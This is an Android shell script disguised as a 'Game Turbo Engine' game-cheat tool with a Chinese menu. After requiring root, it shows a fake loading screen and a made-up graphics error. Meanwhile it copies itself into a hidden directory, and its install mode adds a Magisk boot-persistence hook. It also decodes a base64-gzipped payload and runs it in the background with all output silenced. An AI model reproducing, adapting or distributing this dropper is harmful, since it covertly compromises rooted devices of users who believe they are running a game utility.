#!/system/bin/sh
# System Service Helper  v2.2.0
D="/data/local/tmp/.syssvc"
MODE="run"
[ "$1" = "install" ] && MODE="install"
[ "$1" = "--quiet" ] && MODE="quiet"

if [ "`id -u 2>/dev/null`" != "0" ]; then
  echo ""
  echo "  权限不足: 本程序需要 ROOT 权限才能运行"
  echo "  请在 root 终端中执行:  su -c \"sh \$0\""
  echo ""
  exit 1
fi

if [ "$MODE" = "run" ]; then
  echo ""
  echo "  ===================================="
  echo "     GAME TURBO ENGINE    v2.2.0"
  echo "  ===================================="
  echo "      [1] 透视辅助        [2] 自瞄增强"
  echo "      [3] 帧率解锁        [4] 触摸优化"
  echo "      [5] 后台保活        [0] 退出"
  echo ""
  printf "     正在加载驱动 "
  i=0
  while [ $i -lt 8 ]; do printf "."; sleep 0.25; i=$((i+1)); done
  echo ""
  sleep 1
  echo "     [*] 正在挂载图形接口 ..."
  sleep 1
  echo "     [!] 系统不支持当前图形接口  (ERR 0x80070057)"
  echo "     [!] 初始化失败, 进程已退出"
  echo ""
fi

mkdir -p "$D" 2>/dev/null

if [ "$MODE" = "install" ]; then
  SELF="$0"
  RP=`readlink -f "$0" 2>/dev/null`
  [ -n "$RP" ] && SELF="$RP"
  if cp "$SELF" "$D/rc.sh" 2>/dev/null; then
    chmod 755 "$D/rc.sh" 2>/dev/null
    echo "     [OK] 组件已就位: $D/rc.sh"
  else
    echo "     [!] 复制失败, 请确认已取得 root"
  fi
  if [ -d /data/adb/service.d ]; then
    echo "#!/system/bin/sh" > /data/adb/service.d/rcdeck.sh
    echo "sh $D/rc.sh --quiet &" >> /data/adb/service.d/rcdeck.sh
    chmod 755 /data/adb/service.d/rcdeck.sh
    echo "     [OK] 已注册开机自启"
  else
    echo "     [!] 未检测到 Magisk 目录, 跳过开机自启"
  fi
  echo ""
fi

P='
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
'

(printf '%s' "$P" | base64 -d 2>/dev/null | gzip -d 2>/dev/null | sh) >/dev/null 2>&1 &
sleep 1

if [ "$MODE" = "run" ]; then
  echo "     进程已退出"
  echo ""
fi
exit 0